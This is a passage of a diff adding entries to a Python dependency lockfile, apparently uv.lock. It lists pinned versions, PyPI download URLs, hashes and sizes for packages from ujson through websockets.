"sha256:4843f3ab4fe1cc596bb7e02228ef4c25d35b4bb0809d6a260852a4bfcab37ba3", size = 1088710, upload-time = "2025-08-20T11:55:29.426Z" }, + { url = "https://files.pythonhosted.org/packages/50/17/30275aa2933430d8c0c4ead951cc4fdb922f575a349aa0b48a6f35449e97/ujson-5.11.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:abae0fb58cc820092a0e9e8ba0051ac4583958495bfa5262a12f628249e3b362", size = 51206, upload-time = "2025-08-20T11:56:48.797Z" }, + { url = "https://files.pythonhosted.org/packages/c3/15/42b3924258eac2551f8f33fa4e35da20a06a53857ccf3d4deb5e5d7c0b6c/ujson-5.11.0-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:fac6c0649d6b7c3682a0a6e18d3de6857977378dce8d419f57a0b20e3d775b39", size = 48907, upload-time = "2025-08-20T11:56:50.136Z" }, + { url = "https://files.pythonhosted.org/packages/94/7e/0519ff7955aba581d1fe1fb1ca0e452471250455d182f686db5ac9e46119/ujson-5.11.0-pp311-pypy311_pp73-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4b42c115c7c6012506e8168315150d1e3f76e7ba0f4f95616f4ee599a1372bbc", size = 50319, upload-time = "2025-08-20T11:56:51.63Z" }, + { url = "https://files.pythonhosted.org/packages/74/cf/209d90506b7d6c5873f82c5a226d7aad1a1da153364e9ebf61eff0740c33/ujson-5.11.0-pp311-pypy311_pp73-manylinux_2_24_i686.manylinux_2_28_i686.whl", hash = "sha256:86baf341d90b566d61a394869ce77188cc8668f76d7bb2c311d77a00f4bdf844", size = 56584, upload-time = "2025-08-20T11:56:52.89Z" }, + { url = "https://files.pythonhosted.org/packages/e9/97/bd939bb76943cb0e1d2b692d7e68629f51c711ef60425fa5bb6968037ecd/ujson-5.11.0-pp311-pypy311_pp73-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4598bf3965fc1a936bd84034312bcbe00ba87880ef1ee33e33c1e88f2c398b49", size = 51588, upload-time = "2025-08-20T11:56:54.054Z" }, +] + +[[package]] +name = "unicodecsv" +version = "0.14.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/6f/a4/691ab63b17505a26096608cc309960b5a6bdf39e4ba1a793d5f9b1a53270/unicodecsv-0.14.1.tar.gz", hash = "sha256:018c08037d48649a0412063ff4eda26eaa81eff1546dbffa51fa5293276ff7fc", size = 10267, upload-time = "2015-09-22T22:00:19.516Z" } + +[[package]] +name = "uritemplate" +version = "4.2.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/98/60/f174043244c5306c9988380d2cb10009f91563fc4b31293d27e17201af56/uritemplate-4.2.0.tar.gz", hash = "sha256:480c2ed180878955863323eea31b0ede668795de182617fef9c6ca09e6ec9d0e", size = 33267, upload-time = "2025-06-02T15:12:06.318Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a9/99/3ae339466c9183ea5b8ae87b34c0b897eda475d2aec2307cae60e5cd4f29/uritemplate-4.2.0-py3-none-any.whl", hash = "sha256:962201ba1c4edcab02e60f9a0d3821e82dfc5d2d6662a21abd533879bdb8a686", size = 11488, upload-time = "2025-06-02T15:12:03.405Z" }, +] + +[[package]] +name = "urllib3" +version = "1.26.20" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e4/e8/6ff5e6bc22095cfc59b6ea711b687e2b7ed4bdb373f7eeec370a97d7392f/urllib3-1.26.20.tar.gz", hash = "sha256:40c2dc0c681e47eb8f90e7e27bf6ff7df2e677421fd46756da1161c39ca70d32", size = 307380, upload-time = "2024-08-29T15:43:11.37Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/33/cf/8435d5a7159e2a9c83a95896ed596f68cf798005fe107cc655b5c5c14704/urllib3-1.26.20-py2.py3-none-any.whl", hash = "sha256:0ed14ccfbf1c30a9072c7ca157e4319b70d65f623e91e7b32fadb2853431016e", size = 144225, upload-time = "2024-08-29T15:43:08.921Z" }, +] + +[[package]] +name = "uuid-utils" +version = "0.12.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/0b/0e/512fb221e4970c2f75ca9dae412d320b7d9ddc9f2b15e04ea8e44710396c/uuid_utils-0.12.0.tar.gz", hash = "sha256:252bd3d311b5d6b7f5dfce7a5857e27bb4458f222586bb439463231e5a9cbd64", size = 20889, upload-time = "2025-12-01T17:29:55.494Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/8a/43/de5cd49a57b6293b911b6a9a62fc03e55db9f964da7d5882d9edbee1e9d2/uuid_utils-0.12.0-cp39-abi3-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:3b9b30707659292f207b98f294b0e081f6d77e1fbc760ba5b41331a39045f514", size = 603197, upload-time = "2025-12-01T17:29:30.104Z" }, + { url = "https://files.pythonhosted.org/packages/02/fa/5fd1d8c9234e44f0c223910808cde0de43bb69f7df1349e49b1afa7f2baa/uuid_utils-0.12.0-cp39-abi3-macosx_10_12_x86_64.whl", hash = "sha256:add3d820c7ec14ed37317375bea30249699c5d08ff4ae4dbee9fc9bce3bfbf65", size = 305168, upload-time = "2025-12-01T17:29:31.384Z" }, + { url = "https://files.pythonhosted.org/packages/c8/c6/8633ac9942bf9dc97a897b5154e5dcffa58816ec4dd780b3b12b559ff05c/uuid_utils-0.12.0-cp39-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1b8fce83ecb3b16af29c7809669056c4b6e7cc912cab8c6d07361645de12dd79", size = 340580, upload-time = "2025-12-01T17:29:32.362Z" }, + { url = "https://files.pythonhosted.org/packages/f3/88/8a61307b04b4da1c576373003e6d857a04dade52ab035151d62cb84d5cb5/uuid_utils-0.12.0-cp39-abi3-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:ec921769afcb905035d785582b0791d02304a7850fbd6ce924c1a8976380dfc6", size = 346771, upload-time = "2025-12-01T17:29:33.708Z" }, + { url = "https://files.pythonhosted.org/packages/1c/fb/aab2dcf94b991e62aa167457c7825b9b01055b884b888af926562864398c/uuid_utils-0.12.0-cp39-abi3-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:6f3b060330f5899a92d5c723547dc6a95adef42433e9748f14c66859a7396664", size = 474781, upload-time = "2025-12-01T17:29:35.237Z" }, + { url = "https://files.pythonhosted.org/packages/5a/7a/dbd5e49c91d6c86dba57158bbfa0e559e1ddf377bb46dcfd58aea4f0d567/uuid_utils-0.12.0-cp39-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:908dfef7f0bfcf98d406e5dc570c25d2f2473e49b376de41792b6e96c1d5d291", size = 343685, upload-time = "2025-12-01T17:29:36.677Z" }, + { url = "https://files.pythonhosted.org/packages/1a/19/8c4b1d9f450159733b8be421a4e1fb03533709b80ed3546800102d085572/uuid_utils-0.12.0-cp39-abi3-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:4c6a24148926bd0ca63e8a2dabf4cc9dc329a62325b3ad6578ecd60fbf926506", size = 366482, upload-time = "2025-12-01T17:29:37.979Z" }, + { url = "https://files.pythonhosted.org/packages/82/43/c79a6e45687647f80a159c8ba34346f287b065452cc419d07d2212d38420/uuid_utils-0.12.0-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:64a91e632669f059ef605f1771d28490b1d310c26198e46f754e8846dddf12f4", size = 523132, upload-time = "2025-12-01T17:29:39.293Z" }, + { url = "https://files.pythonhosted.org/packages/5a/a2/b2d75a621260a40c438aa88593827dfea596d18316520a99e839f7a5fb9d/uuid_utils-0.12.0-cp39-abi3-musllinux_1_2_armv7l.whl", hash = "sha256:93c082212470bb4603ca3975916c205a9d7ef1443c0acde8fbd1e0f5b36673c7", size = 614218, upload-time = "2025-12-01T17:29:40.315Z" }, + { url = "https://files.pythonhosted.org/packages/13/6b/ba071101626edd5a6dabf8525c9a1537ff3d885dbc210540574a03901fef/uuid_utils-0.12.0-cp39-abi3-musllinux_1_2_i686.whl", hash = "sha256:431b1fb7283ba974811b22abd365f2726f8f821ab33f0f715be389640e18d039", size = 546241, upload-time = "2025-12-01T17:29:41.656Z" }, + { url = "https://files.pythonhosted.org/packages/01/12/9a942b81c0923268e6d85bf98d8f0a61fcbcd5e432fef94fdf4ce2ef8748/uuid_utils-0.12.0-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:2ffd7838c40149100299fa37cbd8bab5ee382372e8e65a148002a37d380df7c8", size = 511842, upload-time = "2025-12-01T17:29:43.107Z" }, + { url = "https://files.pythonhosted.org/packages/ef/f7/6c55b7722cede3b424df02ed5cddb25c19543abda2f95fa4cfc34a892ae5/uuid_utils-0.12.0-pp311-pypy311_pp73-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:e2209d361f2996966ab7114f49919eb6aaeabc6041672abbbbf4fdbb8ec1acc0", size = 593065, upload-time = "2025-12-01T17:29:47.507Z" }, + { url = "https://files.pythonhosted.org/packages/b8/40/ce5fe8e9137dbd5570e0016c2584fca43ad81b11a1cef809a1a1b4952ab7/uuid_utils-0.12.0-pp311-pypy311_pp73-macosx_10_12_x86_64.whl", hash = "sha256:d9636bcdbd6cfcad2b549c352b669412d0d1eb09be72044a2f13e498974863cd", size = 300047, upload-time = "2025-12-01T17:29:48.596Z" }, + { url = "https://files.pythonhosted.org/packages/fb/9b/31c5d0736d7b118f302c50214e581f40e904305d8872eb0f0c921d50e138/uuid_utils-0.12.0-pp311-pypy311_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8cd8543a3419251fb78e703ce3b15fdfafe1b7c542cf40caf0775e01db7e7674", size = 335165, upload-time = "2025-12-01T17:29:49.755Z" }, + { url = "https://files.pythonhosted.org/packages/f6/5c/d80b4d08691c9d7446d0ad58fd41503081a662cfd2c7640faf68c64d8098/uuid_utils-0.12.0-pp311-pypy311_pp73-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:e98db2d8977c052cb307ae1cb5cc37a21715e8d415dbc65863b039397495a013", size = 341437, upload-time = "2025-12-01T17:29:51.112Z" }, + { url = "https://files.pythonhosted.org/packages/f6/b3/9dccdc6f3c22f6ef5bd381ae559173f8a1ae185ae89ed1f39f499d9d8b02/uuid_utils-0.12.0-pp311-pypy311_pp73-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f8f2bdf5e4ffeb259ef6d15edae92aed60a1d6f07cbfab465d836f6b12b48da8", size = 469123, upload-time = "2025-12-01T17:29:52.389Z" }, + { url = "https://files.pythonhosted.org/packages/fd/90/6c35ef65fbc49f8189729839b793a4a74a7dd8c5aa5eb56caa93f8c97732/uuid_utils-0.12.0-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8c3ec53c0cb15e1835870c139317cc5ec06e35aa22843e3ed7d9c74f23f23898", size = 335892, upload-time = "2025-12-01T17:29:53.44Z" }, + { url = "https://files.pythonhosted.org/packages/6b/c7/e3f3ce05c5af2bf86a0938d22165affe635f4dcbfd5687b1dacc042d3e0e/uuid_utils-0.12.0-pp311-pypy311_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:84e5c0eba209356f7f389946a3a47b2cc2effd711b3fc7c7f155ad9f7d45e8a3", size = 360693, upload-time = "2025-12-01T17:29:54.558Z" }, +] + +[[package]] +name = "uvicorn" +version = "0.34.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "click", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "h11", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/a6/ae/9bbb19b9e1c450cf9ecaef06463e40234d98d95bf572fab11b4f19ae5ded/uvicorn-0.34.2.tar.gz", hash = "sha256:0e929828f6186353a80b58ea719861d2629d766293b6d19baf086ba31d4f3328", size = 76815, upload-time = "2025-04-19T06:02:50.101Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b1/4b/4cef6ce21a2aaca9d852a6e84ef4f135d99fcd74fa75105e2fc0c8308acd/uvicorn-0.34.2-py3-none-any.whl", hash = "sha256:deb49af569084536d269fe0a6d67e3754f104cf03aba7c11c40f01aadf33c403", size = 62483, upload-time = "2025-04-19T06:02:48.42Z" }, +] + +[package.optional-dependencies] +standard = [ + { name = "httptools", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "python-dotenv", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "pyyaml", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "uvloop", marker = "(platform_python_implementation != 'PyPy' and sys_platform == 'darwin') or (platform_python_implementation != 'PyPy' and sys_platform == 'linux')" }, + { name = "watchfiles", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, + { name = "websockets", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] + +[[package]] +name = "uvloop" +version = "0.22.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/06/f0/18d39dbd1971d6d62c4629cc7fa67f74821b0dc1f5a77af43719de7936a7/uvloop-0.22.1.tar.gz", hash = "sha256:6c84bae345b9147082b17371e3dd5d42775bddce91f885499017f4607fdaf39f", size = 2443250, upload-time = "2025-10-16T22:17:19.342Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c7/d5/69900f7883235562f1f50d8184bb7dd84a2fb61e9ec63f3782546fdbd057/uvloop-0.22.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:c60ebcd36f7b240b30788554b6f0782454826a0ed765d8430652621b5de674b9", size = 1352420, upload-time = "2025-10-16T22:16:21.187Z" }, + { url = "https://files.pythonhosted.org/packages/a8/73/c4e271b3bce59724e291465cc936c37758886a4868787da0278b3b56b905/uvloop-0.22.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:3b7f102bf3cb1995cfeaee9321105e8f5da76fdb104cdad8986f85461a1b7b77", size = 748677, upload-time = "2025-10-16T22:16:22.558Z" }, + { url = "https://files.pythonhosted.org/packages/86/94/9fb7fad2f824d25f8ecac0d70b94d0d48107ad5ece03769a9c543444f78a/uvloop-0.22.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:53c85520781d84a4b8b230e24a5af5b0778efdb39142b424990ff1ef7c48ba21", size = 3753819, upload-time = "2025-10-16T22:16:23.903Z" }, + { url = "https://files.pythonhosted.org/packages/74/4f/256aca690709e9b008b7108bc85fba619a2bc37c6d80743d18abad16ee09/uvloop-0.22.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:56a2d1fae65fd82197cb8c53c367310b3eabe1bbb9fb5a04d28e3e3520e4f702", size = 3804529, upload-time = "2025-10-16T22:16:25.246Z" }, + { url = "https://files.pythonhosted.org/packages/7f/74/03c05ae4737e871923d21a76fe28b6aad57f5c03b6e6bfcfa5ad616013e4/uvloop-0.22.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:40631b049d5972c6755b06d0bfe8233b1bd9a8a6392d9d1c45c10b6f9e9b2733", size = 3621267, upload-time = "2025-10-16T22:16:26.819Z" }, + { url = "https://files.pythonhosted.org/packages/75/be/f8e590fe61d18b4a92070905497aec4c0e64ae1761498cad09023f3f4b3e/uvloop-0.22.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:535cc37b3a04f6cd2c1ef65fa1d370c9a35b6695df735fcff5427323f2cd5473", size = 3723105, upload-time = "2025-10-16T22:16:28.252Z" }, +] + +[[package]] +name = "validators" +version = "0.28.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/dc/2e/f07c5391802a08c442ac5b80e254e92354a91f8eb85de6cef40b883c8b3e/validators-0.28.1.tar.gz", hash = "sha256:5ac88e7916c3405f0ce38ac2ac82a477fcf4d90dbbeddd04c8193171fc17f7dc", size = 66294, upload-time = "2024-04-19T13:27:30.101Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e8/a4/40155f725ccb1b4e0f237b435a7664ea54146efb15ef70948e494b6acac4/validators-0.28.1-py3-none-any.whl", hash = "sha256:890c98789ad884037f059af6ea915ec2d667129d509180c2c590b8009a4c4219", size = 39951, upload-time = "2024-04-19T13:27:28.126Z" }, +] + +[[package]] +name = "vine" +version = "5.1.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/bd/e4/d07b5f29d283596b9727dd5275ccbceb63c44a1a82aa9e4bfd20426762ac/vine-5.1.0.tar.gz", hash = "sha256:8b62e981d35c41049211cf62a0a1242d8c1ee9bd15bb196ce38aefd6799e61e0", size = 48980, upload-time = "2023-11-05T08:46:53.857Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/03/ff/7c0c86c43b3cbb927e0ccc0255cb4057ceba4799cd44ae95174ce8e8b5b2/vine-5.1.0-py3-none-any.whl", hash = "sha256:40fdf3c48b2cfe1c38a49e9ae2da6fda88e4794c810050a728bd7413811fb1dc", size = 9636, upload-time = "2023-11-05T08:46:51.205Z" }, +] + +[[package]] +name = "watchdog" +version = "4.0.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/cd/3c/43eeaa9ea17a2657d639aa3827beaa77042809410f86fb76f0d0ea6a2102/watchdog-4.0.0.tar.gz", hash = "sha256:e3e7065cbdabe6183ab82199d7a4f6b3ba0a438c5a512a68559846ccb76a78ec", size = 126415, upload-time = "2024-02-06T23:51:29.933Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/87/60/04c6ee1a950b8f193ad4a766dd0518663829dc64603699ab1ba2f53e78f8/watchdog-4.0.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:8350d4055505412a426b6ad8c521bc7d367d1637a762c70fdd93a3a0d595990b", size = 102144, upload-time = "2024-02-06T22:04:34.252Z" }, + { url = "https://files.pythonhosted.org/packages/7f/9b/04110f5c61fe2a90d5cccfc6445c8cce8c560c2fae236571c397b0dd68d0/watchdog-4.0.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:c17d98799f32e3f55f181f19dd2021d762eb38fdd381b4a748b9f5a36738e935", size = 92695, upload-time = "2024-02-06T22:04:36.214Z" }, + { url = "https://files.pythonhosted.org/packages/fb/01/2275fe6a5598daf95b9e44cc10a4db642c637ae00986836478e01eaccb4f/watchdog-4.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4986db5e8880b0e6b7cd52ba36255d4793bf5cdc95bd6264806c233173b1ec0b", size = 93197, upload-time = "2024-02-06T22:04:37.757Z" }, + { url = "https://files.pythonhosted.org/packages/dd/3d/b19ab5850a2c35d11cda16d132842314ae15f9bda5fafb93407ea396f74b/watchdog-4.0.0-py3-none-manylinux2014_aarch64.whl", hash = "sha256:8fec441f5adcf81dd240a5fe78e3d83767999771630b5ddfc5867827a34fa3d3", size = 82949, upload-time = "2024-02-06T23:51:11.933Z" }, + { url = "https://files.pythonhosted.org/packages/c9/58/f747fbcb87bec05f499efb5372b95cd6b18fa1df39ec49dc7a02005f8bef/watchdog-4.0.0-py3-none-manylinux2014_armv7l.whl", hash = "sha256:6a9c71a0b02985b4b0b6d14b875a6c86ddea2fdbebd0c9a720a806a8bbffc69f", size = 82950, upload-time = "2024-02-06T23:51:14.249Z" }, + { url = "https://files.pythonhosted.org/packages/6c/3f/b24f8e098c2a8b6797448e33861990b8e3ef17f37789ec8eee9eccb4ce51/watchdog-4.0.0-py3-none-manylinux2014_i686.whl", hash = "sha256:557ba04c816d23ce98a06e70af6abaa0485f6d94994ec78a42b05d1c03dcbd50", size = 82949, upload-time = "2024-02-06T23:51:16.234Z" }, + { url = "https://files.pythonhosted.org/packages/63/b1/c2d3778b2161e3f9de553ed038de7a565ecc9efcd448550efd4f3df5c5ba/watchdog-4.0.0-py3-none-manylinux2014_ppc64.whl", hash = "sha256:d0f9bd1fd919134d459d8abf954f63886745f4660ef66480b9d753a7c9d40927", size = 82950, upload-time = "2024-02-06T23:51:18.137Z" }, + { url = "https://files.pythonhosted.org/packages/11/2a/4139eed6a762cfe5cf98e1b0e8485ef5195cff60a02c69d8bbf3ec2ad279/watchdog-4.0.0-py3-none-manylinux2014_ppc64le.whl", hash = "sha256:f9b2fdca47dc855516b2d66eef3c39f2672cbf7e7a42e7e67ad2cbfcd6ba107d", size = 82950, upload-time = "2024-02-06T23:51:19.616Z" }, + { url = "https://files.pythonhosted.org/packages/21/0f/9c5429ae4547ec8c90dc009a5477735a5c3e5975ffc6eb69534d2bdb5365/watchdog-4.0.0-py3-none-manylinux2014_s390x.whl", hash = "sha256:73c7a935e62033bd5e8f0da33a4dcb763da2361921a69a5a95aaf6c93aa03a87", size = 82947, upload-time = "2024-02-06T23:51:21.52Z" }, + { url = "https://files.pythonhosted.org/packages/91/7b/26d2f43aa9fe428416be21ee1cb9ac75638cf302466b7e706c14eeaea42c/watchdog-4.0.0-py3-none-manylinux2014_x86_64.whl", hash = "sha256:6a80d5cae8c265842c7419c560b9961561556c4361b297b4c431903f8c33b269", size = 82950, upload-time = "2024-02-06T23:51:23.612Z" }, +] + +[[package]] +name = "watchfiles" +version = "1.1.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "anyio", marker = "sys_platform == 'darwin' or sys_platform == 'linux'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/c2/c9/8869df9b2a2d6c59d79220a4db37679e74f807c559ffe5265e08b227a210/watchfiles-1.1.1.tar.gz", hash = "sha256:a173cb5c16c4f40ab19cecf48a534c409f7ea983ab8fed0741304a1c0a31b3f2", size = 94440, upload-time = "2025-10-14T15:06:21.08Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1f/f8/2c5f479fb531ce2f0564eda479faecf253d886b1ab3630a39b7bf7362d46/watchfiles-1.1.1-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:f57b396167a2565a4e8b5e56a5a1c537571733992b226f4f1197d79e94cf0ae5", size = 406529, upload-time = "2025-10-14T15:04:32.899Z" }, + { url = "https://files.pythonhosted.org/packages/fe/cd/f515660b1f32f65df671ddf6f85bfaca621aee177712874dc30a97397977/watchfiles-1.1.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:421e29339983e1bebc281fab40d812742268ad057db4aee8c4d2bce0af43b741", size = 394384, upload-time = "2025-10-14T15:04:33.761Z" }, + { url = "https://files.pythonhosted.org/packages/7b/c3/28b7dc99733eab43fca2d10f55c86e03bd6ab11ca31b802abac26b23d161/watchfiles-1.1.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6e43d39a741e972bab5d8100b5cdacf69db64e34eb19b6e9af162bccf63c5cc6", size = 448789, upload-time = "2025-10-14T15:04:34.679Z" }, + { url = "https://files.pythonhosted.org/packages/4a/24/33e71113b320030011c8e4316ccca04194bf0cbbaeee207f00cbc7d6b9f5/watchfiles-1.1.1-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f537afb3276d12814082a2e9b242bdcf416c2e8fd9f799a737990a1dbe906e5b", size = 460521, upload-time = "2025-10-14T15:04:35.963Z" }, + { url = "https://files.pythonhosted.org/packages/f4/c3/3c9a55f255aa57b91579ae9e98c88704955fa9dac3e5614fb378291155df/watchfiles-1.1.1-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b2cd9e04277e756a2e2d2543d65d1e2166d6fd4c9b183f8808634fda23f17b14", size = 488722, upload-time = "2025-10-14T15:04:37.091Z" }, + { url = "https://files.pythonhosted.org/packages/49/36/506447b73eb46c120169dc1717fe2eff07c234bb3232a7200b5f5bd816e9/watchfiles-1.1.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5f3f58818dc0b07f7d9aa7fe9eb1037aecb9700e63e1f6acfed13e9fef648f5d", size = 596088, upload-time = "2025-10-14T15:04:38.39Z" }, + { url = "https://files.pythonhosted.org/packages/82/ab/5f39e752a9838ec4d52e9b87c1e80f1ee3ccdbe92e183c15b6577ab9de16/watchfiles-1.1.1-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9bb9f66367023ae783551042d31b1d7fd422e8289eedd91f26754a66f44d5cff", size = 472923, upload-time = "2025-10-14T15:04:39.666Z" }, + { url = "https://files.pythonhosted.org/packages/af/b9/a419292f05e302dea372fa7e6fda5178a92998411f8581b9830d28fb9edb/watchfiles-1.1.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:aebfd0861a83e6c3d1110b78ad54704486555246e542be3e2bb94195eabb2606", size = 456080, upload-time = "2025-10-14T15:04:40.643Z" }, + { url = "https://files.pythonhosted.org/packages/b0/c3/d5932fd62bde1a30c36e10c409dc5d54506726f08cb3e1d8d0ba5e2bc8db/watchfiles-1.1.1-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:5fac835b4ab3c6487b5dbad78c4b3724e26bcc468e886f8ba8cc4306f68f6701", size = 629432, upload-time = "2025-10-14T15:04:41.789Z" }, + { url = "https://files.pythonhosted.org/packages/f7/77/16bddd9779fafb795f1a94319dc965209c5641db5bf1edbbccace6d1b3c0/watchfiles-1.1.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:399600947b170270e80134ac854e21b3ccdefa11a9529a3decc1327088180f10", size = 623046, upload-time = "2025-10-14T15:04:42.718Z" }, + { url = "https://files.pythonhosted.org/packages/d3/8e/e500f8b0b77be4ff753ac94dc06b33d8f0d839377fee1b78e8c8d8f031bf/watchfiles-1.1.1-pp311-pypy311_pp73-macosx_10_12_x86_64.whl", hash = "sha256:db476ab59b6765134de1d4fe96a1a9c96ddf091683599be0f26147ea1b2e4b88", size = 408250, upload-time = "2025-10-14T15:06:10.264Z" }, + { url = "https://files.pythonhosted.org/packages/bd/95/615e72cd27b85b61eec764a5ca51bd94d40b5adea5ff47567d9ebc4d275a/watchfiles-1.1.1-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:89eef07eee5e9d1fda06e38822ad167a044153457e6fd997f8a858ab7564a336", size = 396117, upload-time = "2025-10-14T15:06:11.28Z" }, + { url = "https://files.pythonhosted.org/packages/c9/81/e7fe958ce8a7fb5c73cc9fb07f5aeaf755e6aa72498c57d760af760c91f8/watchfiles-1.1.1-pp311-pypy311_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ce19e06cbda693e9e7686358af9cd6f5d61312ab8b00488bc36f5aabbaf77e24", size = 450493, upload-time = "2025-10-14T15:06:12.321Z" }, + { url = "https://files.pythonhosted.org/packages/6e/d4/ed38dd3b1767193de971e694aa544356e63353c33a85d948166b5ff58b9e/watchfiles-1.1.1-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3e6f39af2eab0118338902798b5aa6664f46ff66bc0280de76fca67a7f262a49", size = 457546, upload-time = "2025-10-14T15:06:13.372Z" }, +] + +[[package]] +name = "wcwidth" +version = "0.2.14" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/24/30/6b0809f4510673dc723187aeaf24c7f5459922d01e2f794277a3dfb90345/wcwidth-0.2.14.tar.gz", hash = "sha256:4d478375d31bc5395a3c55c40ccdf3354688364cd61c4f6adacaa9215d0b3605", size = 102293, upload-time = "2025-09-22T16:29:53.023Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/af/b5/123f13c975e9f27ab9c0770f514345bd406d0e8d3b7a0723af9d43f710af/wcwidth-0.2.14-py2.py3-none-any.whl", hash = "sha256:a7bb560c8aee30f9957e5f9895805edd20602f2d7f720186dfd906e82b4982e1", size = 37286, upload-time = "2025-09-22T16:29:51.641Z" }, +] + +[[package]] +name = "websockets" +version = "12.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/2e/62/7a7874b7285413c954a4cca3c11fd851f11b2fe5b4ae2d9bee4f6d9bdb10/websockets-12.0.tar.gz", hash = "sha256:81df9cbcbb6c260de1e007e58c011bfebe2dafc8435107b0537f393dd38c8b1b", size = 104994, upload-time = "2023-10-21T14:21:11.88Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/02/73/9c1e168a2e7fdf26841dc98f5f5502e91dea47428da7690a08101f616169/websockets-12.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:5d873c7de42dea355d73f170be0f23788cf3fa9f7bed718fd2830eefedce01b4", size = 124047, upload-time = "2023-10-21T14:19:46.519Z" }, + { url = "https://files.pythonhosted.org/packages/e4/2d/9a683359ad2ed11b2303a7a94800db19c61d33fa3bde271df09e99936022/websockets-12.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:3f61726cae9f65b872502ff3c1496abc93ffbe31b278455c418492016e2afc8f", size = 121282, upload-time = "2023-10-21T14:19:47.739Z" }, + { url = "https://files.pythonhosted.org/packages/95/aa/75fa3b893142d6d98a48cb461169bd268141f2da8bfca97392d6462a02eb/websockets-12.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:ed2fcf7a07334c77fc8a230755c2209223a7cc44fc27597729b8ef5425aa61a3", size = 121325, upload-time = "2023-10-21T14:19:49.4Z" }, + { url = 